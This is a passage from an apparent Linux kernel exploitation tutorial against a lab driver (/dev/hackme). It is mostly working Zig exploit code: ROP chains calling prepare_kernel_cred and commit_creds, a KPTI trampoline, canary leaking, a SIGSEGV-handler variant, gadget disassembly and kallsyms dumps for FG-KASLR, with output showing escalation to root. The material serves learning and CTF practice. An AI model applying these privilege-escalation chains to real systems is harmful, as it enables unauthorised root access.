</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain</span>(writer<span style="color:#00d3d0">:</span> anytype) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        PREPARE_KERNEL_CRED,
</span></span><span style="display:flex;"><span>        MOV_RDI_RAX_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        COMMIT_CREDS,
</span></span><span style="display:flex;"><span>        SWAPGS_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        IRETQ,
</span></span><span style="display:flex;"><span>        user_rip,
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    }));
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0x9866a26a8b9ba300
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<h4 id="smap">SMAP</h4>
<p>With supervisor mode access protection we can not only not execute code in userspace, but not even read or write to it.
Because our ROP chain is contained in kernelspace, we are able to escalate priviledges and context switch to userspace without reading from userland memory, so no issues here!</p>





  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0x9a56f4945c848500
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<p>(<a href="https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/#pivoting-the-stack">One possible solve</a> that works under SMEP but not SMAP involves stack pivoting to a page in userspace.)</p>
<h3 id="kpti">KPTI</h3>
<p><strong>Kernel page-table isolation</strong> is a mitigation that results in different page tables being used when in user-mode or kernel-mode, and it was introduced to combat the Meltdown attack.</p>
<p>The previous exploit will not work because even though we context switch to userspace, we are still using kernel page tables and so <kbd>ret2win</kbd> is inaccessible.
So in addition to context switching to userland, we also need to swap page tables.</p>
<p>This can be accomplished by a <em>KPTI trampoline</em>, which is very similar to our context switching gadget except that it also modifies the <code>CR3</code> register to swap page tables.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;swapgs_restore_regs_and_return_to_usermode&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>objdump --start-address<span style="color:#00d3d0">=</span>0xffffffff81200f26 --stop-address<span style="color:#00d3d0">=</span>0xffffffff81200f46 -S vmlinux
</span></span><span style="display:flex;"><span>objdump --start-address<span style="color:#00d3d0">=</span>0xffffffff81200f89 --stop-address<span style="color:#00d3d0">=</span>0xffffffff81200f97 -S vmlinux
</span></span><span style="display:flex;"><span>objdump --start-address<span style="color:#00d3d0">=</span>0xffffffff8146d4e0 --stop-address<span style="color:#00d3d0">=</span>0xffffffff8146d4e9 -S vmlinux
</span></span><span style="display:flex;"><span>objdump --start-address<span style="color:#00d3d0">=</span>0xffffffff81200f46 --stop-address<span style="color:#00d3d0">=</span>0xffffffff81200f4b -S vmlinux
</span></span><span style="display:flex;"><span>objdump --start-address<span style="color:#00d3d0">=</span>0xffffffff81201067 --stop-address<span style="color:#00d3d0">=</span>0xffffffff81201082 -S vmlinux
</span></span><span style="display:flex;"><span>objdump --start-address<span style="color:#00d3d0">=</span>0xffffffff81200fc7 --stop-address<span style="color:#00d3d0">=</span>0xffffffff81200fc9 -S vmlinux</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>vmlinux:	file format elf64-x86-64
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Disassembly of section .text:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffffffff81000000 &lt;_stext&gt;:
</span></span><span style="display:flex;"><span>ffffffff81200f26: 48 89 e7             	movq	%rsp, %rdi
</span></span><span style="display:flex;"><span>ffffffff81200f29: 65 48 8b 24 25 04 60 00 00   	movq	%gs:0x6004, %rsp
</span></span><span style="display:flex;"><span>ffffffff81200f32: ff 77 30             	pushq	0x30(%rdi)
</span></span><span style="display:flex;"><span>ffffffff81200f35: ff 77 28             	pushq	0x28(%rdi)
</span></span><span style="display:flex;"><span>ffffffff81200f38: ff 77 20             	pushq	0x20(%rdi)
</span></span><span style="display:flex;"><span>ffffffff81200f3b: ff 77 18             	pushq	0x18(%rdi)
</span></span><span style="display:flex;"><span>ffffffff81200f3e: ff 77 10             	pushq	0x10(%rdi)
</span></span><span style="display:flex;"><span>ffffffff81200f41: ff 37                	pushq	(%rdi)
</span></span><span style="display:flex;"><span>ffffffff81200f43: 50                   	pushq	%rax
</span></span><span style="display:flex;"><span>ffffffff81200f44: eb 43                	jmp	0xffffffff81200f89 &lt;_stext+0x200f89&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffffffff81000000 &lt;_stext&gt;:
</span></span><span style="display:flex;"><span>ffffffff81200f89: 58                   	popq	%rax
</span></span><span style="display:flex;"><span>ffffffff81200f8a: 5f                   	popq	%rdi
</span></span><span style="display:flex;"><span>ffffffff81200f8b: ff 15 f7 f0 e3 00    	callq	*0xe3f0f7(%rip)         # 0xffffffff82040088
</span></span><span style="display:flex;"><span>ffffffff81200f91: ff 25 e9 f0 e3 00    	jmpq	*0xe3f0e9(%rip)         # 0xffffffff82040080
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffffffff8146d4e0 &lt;.text.native_swapgs&gt;:
</span></span><span style="display:flex;"><span>ffffffff8146d4e0: 55                   	pushq	%rbp
</span></span><span style="display:flex;"><span>ffffffff8146d4e1: 48 89 e5             	movq	%rsp, %rbp
</span></span><span style="display:flex;"><span>ffffffff8146d4e4: 0f 01 f8             	swapgs
</span></span><span style="display:flex;"><span>ffffffff8146d4e7: 5d                   	popq	%rbp
</span></span><span style="display:flex;"><span>ffffffff8146d4e8: c3                   	retq
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffffffff81000000 &lt;_stext&gt;:
</span></span><span style="display:flex;"><span>ffffffff81200f46: 0f 20 df             	movq	%cr3, %rdi
</span></span><span style="display:flex;"><span>ffffffff81200f49: eb 34                	jmp	0xffffffff81200f7f &lt;_stext+0x200f7f&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffffffff81000000 &lt;_stext&gt;:
</span></span><span style="display:flex;"><span>ffffffff81201067: 48 81 cf 00 10 00 00 	orq	$0x1000, %rdi           # imm = 0x1000
</span></span><span style="display:flex;"><span>ffffffff8120106e: 0f 22 df             	movq	%rdi, %cr3
</span></span><span style="display:flex;"><span>ffffffff81201071: 58                   	popq	%rax
</span></span><span style="display:flex;"><span>ffffffff81201072: ff 15 10 f0 e3 00    	callq	*0xe3f010(%rip)         # 0xffffffff82040088
</span></span><span style="display:flex;"><span>ffffffff81201078: 5f                   	popq	%rdi
</span></span><span style="display:flex;"><span>ffffffff81201079: 48 89 c4             	movq	%rax, %rsp
</span></span><span style="display:flex;"><span>ffffffff8120107c: 58                   	popq	%rax
</span></span><span style="display:flex;"><span>ffffffff8120107d: e9 45 ff ff ff       	jmp	0xffffffff81200fc7 &lt;_stext+0x200fc7&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffffffff81000000 &lt;_stext&gt;:
</span></span><span style="display:flex;"><span>ffffffff81200fc7: 48 cf                	iretq</span></span></code></pre></div>

<p><a id="code-snippet--kpti"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> POP_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8196258d</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> MOV_RDI_RAX_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff816bf203</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> KPTI_TRAMPOLINE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81200f26</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> PREPARE_KERNEL_CRED<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff814c67f0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> COMMIT_CREDS<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff814c6410</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain</span>(writer<span style="color:#00d3d0">:</span> anytype) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        PREPARE_KERNEL_CRED,
</span></span><span style="display:flex;"><span>        MOV_RDI_RAX_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        COMMIT_CREDS,
</span></span><span style="display:flex;"><span>        KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        user_rip,
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    }));
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0xeabc83c7a6ad8500
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<h4 id="alternate-solve-signal-handlers">Alternate solve: Signal Handlers</h4>
<p>The SMEP+SMAP solve will segfault in userland when KPTI is enabled; instead of using a KPTI trampoline to switch to userland page tables, we can register a signal handler (in userland) for <code>SIGSEGV</code> and the kernel will do the switch for us.</p>
<p><a id="code-snippet--signal-full"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> std <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;std&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_rip<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ret2win</span>(_<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span>) <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;[INFO] You won!!</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> args <span style="color:#00d3d0">=</span> [_<span style="color:#00d3d0">:</span><span style="color:#00bcff">null</span>]<span style="color:#00d3d0">?</span>[<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>{<span style="color:#79a8ff">&#34;/usr/bin/whoami&#34;</span>};
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> env <span style="color:#00d3d0">=</span> [_<span style="color:#00d3d0">:</span><span style="color:#00bcff">null</span>]<span style="color:#00d3d0">?</span>[<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#6ae4b9">u8</span>{};
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (std.posix.<span style="color:#feacd0">execveZ</span>(<span style="color:#79a8ff">&#34;/usr/bin/whoami&#34;</span>, args[<span style="color:#00bcff">0</span>..args.len], env[<span style="color:#00bcff">0</span>..env.len])) {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">catch_sigsegv</span>() <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> sigact <span style="color:#00d3d0">=</span> std.posix.Sigaction{
</span></span><span style="display:flex;"><span>        .handler <span style="color:#00d3d0">=</span> .{ .handler <span style="color:#00d3d0">=</span> ret2win },
</span></span><span style="display:flex;"><span>        .mask <span style="color:#00d3d0">=</span> std.posix.empty_sigset,
</span></span><span style="display:flex;"><span>        .flags <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    std.posix.<span style="color:#feacd0">sigaction</span>(std.posix.SIG.SEGV, <span style="color:#00d3d0">&amp;</span>sigact, <span style="color:#00bcff">null</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">catch_sigsegv</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    user_rip <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ret2win);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">saveState</span>();
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;[INFO] Saved state</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/hackme&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> std.posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> canary <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">leakCanary</span>(fd);
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;[INFO] Canary: 0x{s}</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, <span style="color:#f78fe7">@constCast</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>canary))), .lower)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> file <span style="color:#00d3d0">=</span> (std.fs.File{ .handle <span style="color:#00d3d0">=</span> fd }).<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> bw <span style="color:#00d3d0">=</span> std.io.<span style="color:#feacd0">bufferedWriter</span>(file);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> writer <span style="color:#00d3d0">=</span> bw.<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeByteNTimes</span>(<span style="color:#00bcff">0</span>, tmp_size);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>canary));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeByteNTimes</span>(<span style="color:#00bcff">0</span>, (<span style="color:#00bcff">8</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">3</span>));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">ropchain</span>(writer);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> bw.<span style="color:#feacd0">flush</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0x10f9df0cd1e27500
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<h3 id="kaslr">KASLR</h3>
<p>Time for the final challenge: <strong>fine-grained kernel address space layout randomization</strong> (FG-KASLR).</p>
<p>Unlike regular (K)ASLR, a single leak is not enough to find the addresses of all symbols&mdash;we must get more creative to find the addresses of certain parts of our payload.</p>
<p>Fortunately not all symbols are affected by the fine-grained (or function granular?) part of KASLR:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;startup_64&#39;</span> -e <span style="color:#79a8ff">&#39;swapgs_restore_regs_and_return_to_usermode&#39;</span> -e <span style="color:#79a8ff">&#39;prepare_kernel_cred&#39;</span> -e <span style="color:#79a8ff">&#39;commit_creds&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff95200000 T startup_64
</span></span><span style="display:flex;"><span>ffffffff95200030 T secondary_startup_64
</span></span><span style="display:flex;"><span>ffffffff952001f0 T __startup_64
</span></span><span style="display:flex;"><span>ffffffff95400f10 T swapgs_restore_regs_and_return_to_usermode
</span></span><span style="display:flex;"><span>ffffffff95987a80 T commit_creds
</span></span><span style="display:flex;"><span>ffffffff95b00e00 T prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff96187d90 r __ksymtab_commit_creds
</span></span><span style="display:flex;"><span>ffffffff9618d4fc r __ksymtab_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff961a0972 r __kstrtab_commit_creds
</span></span><span style="display:flex;"><span>ffffffff961a09b2 r __kstrtab_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff961a4d42 r __kstrtabns_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff961a4d42 r __kstrtabns_commit_creds</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#a8a8a8"># reboot and run again</span>
</span></span><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;startup_64&#39;</span> -e <span style="color:#79a8ff">&#39;swapgs_restore_regs_and_return_to_usermode&#39;</span> -e <span style="color:#79a8ff">&#39;prepare_kernel_cred&#39;</span> -e <span style="color:#79a8ff">&#39;commit_creds&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff90000000 T startup_64
</span></span><span style="display:flex;"><span>ffffffff90000030 T secondary_startup_64
</span></span><span style="display:flex;"><span>ffffffff900001f0 T __startup_64
</span></span><span style="display:flex;"><span>ffffffff90200f10 T swapgs_restore_regs_and_return_to_usermode
</span></span><span style="display:flex;"><span>ffffffff90741cf0 T commit_creds
</span></span><span style="display:flex;"><span>ffffffff908b7880 T prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff90f87d90 r __ksymtab_commit_creds
</span></span><span style="display:flex;"><span>ffffffff90f8d4fc r __ksymtab_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff90fa0972 r __kstrtab_commit_creds
</span></span><span style="display:flex;"><span>ffffffff90fa09b2 r __kstrtab_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff90fa4d42 r __kstrtabns_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff90fa4d42 r __kstrtabns_commit_creds</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>ksyms1 <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff95200000</span>: <span style="color:#79a8ff">&#34;startup_64&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff95200030</span>: <span style="color:#79a8ff">&#34;secondary_startup_64&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff952001f0</span>: <span style="color:#79a8ff">&#34;__startup_64&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff95400f10</span>: <span style="color:#79a8ff">&#34;swapgs_restore_regs_and_return_to_usermode&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff95987a80</span>: <span style="color:#79a8ff">&#34;commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff95b00e00</span>: <span style="color:#79a8ff">&#34;prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff96187d90</span>: <span style="color:#79a8ff">&#34;__ksymtab_commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff9618d4fc</span>: <span style="color:#79a8ff">&#34;__ksymtab_prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff961a0972</span>: <span style="color:#79a8ff">&#34;__kstrtab_commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff961a09b2</span>: <span style="color:#79a8ff">&#34;__kstrtab_prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff961a4d42</span>: <span style="color:#79a8ff">&#34;__kstrtabns_prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff961a4d42</span>: <span style="color:#79a8ff">&#34;__kstrtabns_commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>ksyms2 <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90000000</span>: <span style="color:#79a8ff">&#34;startup_64&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90000030</span>: <span style="color:#79a8ff">&#34;secondary_startup_64&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff900001f0</span>: <span style="color:#79a8ff">&#34;__startup_64&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90200f10</span>: <span style="color:#79a8ff">&#34;swapgs_restore_regs_and_return_to_usermode&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90741cf0</span>: <span style="color:#79a8ff">&#34;commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff908b7880</span>: <span style="color:#79a8ff">&#34;prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90f87d90</span>: <span style="color:#79a8ff">&#34;__ksymtab_commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90f8d4fc</span>: <span style="color:#79a8ff">&#34;__ksymtab_prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90fa0972</span>: <span style="color:#79a8ff">&#34;__kstrtab_commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90fa09b2</span>: <span style="color:#79a8ff">&#34;__kstrtab_prepare_kernel_cred&#34;</span>,
